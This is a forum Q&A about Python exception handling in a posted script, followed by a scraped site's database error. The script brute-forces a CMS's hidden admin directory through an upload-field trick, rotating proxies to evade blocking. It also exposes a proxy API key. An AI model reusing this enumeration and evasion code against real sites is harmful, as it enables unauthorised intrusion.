On the problem of except in python

continue to use the current agent when the agent is available. If the agent is not available, request to get proxy_url.
again in except. The problem now is that the code in except will execute even if the current agent is available.

def get_proxy():
    proxyapi = "http://piping.mogumiao.com/proxy/api/get_ip_bs?appKey=93be1b258fbb4df5a298be6ba74dc5c4&count=1&expiryDate=0&format=1&newLine=2"
    req = requests.get(proxyapi)
    json_content = json.loads(req.content)["msg"]
    for i in json_content:
        print json_content
        ip = i["ip"]
        port = i["port"]
        proxy_url = str("http://"+ip+":"+port)
    return proxy_url
proxies = get_proxy()
for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = "".join(list(pre))
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
        print("testing",pre)
        time.sleep(random.randint(2,5))
        try:
            r = requests.post(url,data=data,proxies=proxies)
            if "Upload filetype not allow !" not in r.text and r.status_code == 200:
                flag = 1
                back_dir = pre
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
                break
            else:
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
        except:
            proxies = get_proxy()
Mar.24,2021

  

there is only one explanation for this, that is, the errors reported in your try are not just errors that are not available to the agent.
generally speaking, we recommend that the except in python be followed by the corresponding error type, such as ValueError, instead of getting all global exceptions without writing anything.
you can try to catch only the exception types in which the agent reports an error, and then see if any other exceptions have occurred in the middle, and then solve the problem

.
MySQL Query : SELECT * FROM `codeshelper`.`v9_news` WHERE status=99 AND catid='6' ORDER BY rand() LIMIT 5
MySQL Error : Disk full (/tmp/#sql-temptable-64f5-1eb5f5d-4fa68.MAI); waiting for someone to free some space... (errno: 28 "No space left on device")
MySQL Errno : 1021
Message : Disk full (/tmp/#sql-temptable-64f5-1eb5f5d-4fa68.MAI); waiting for someone to free some space... (errno: 28 "No space left on device")
Need Help?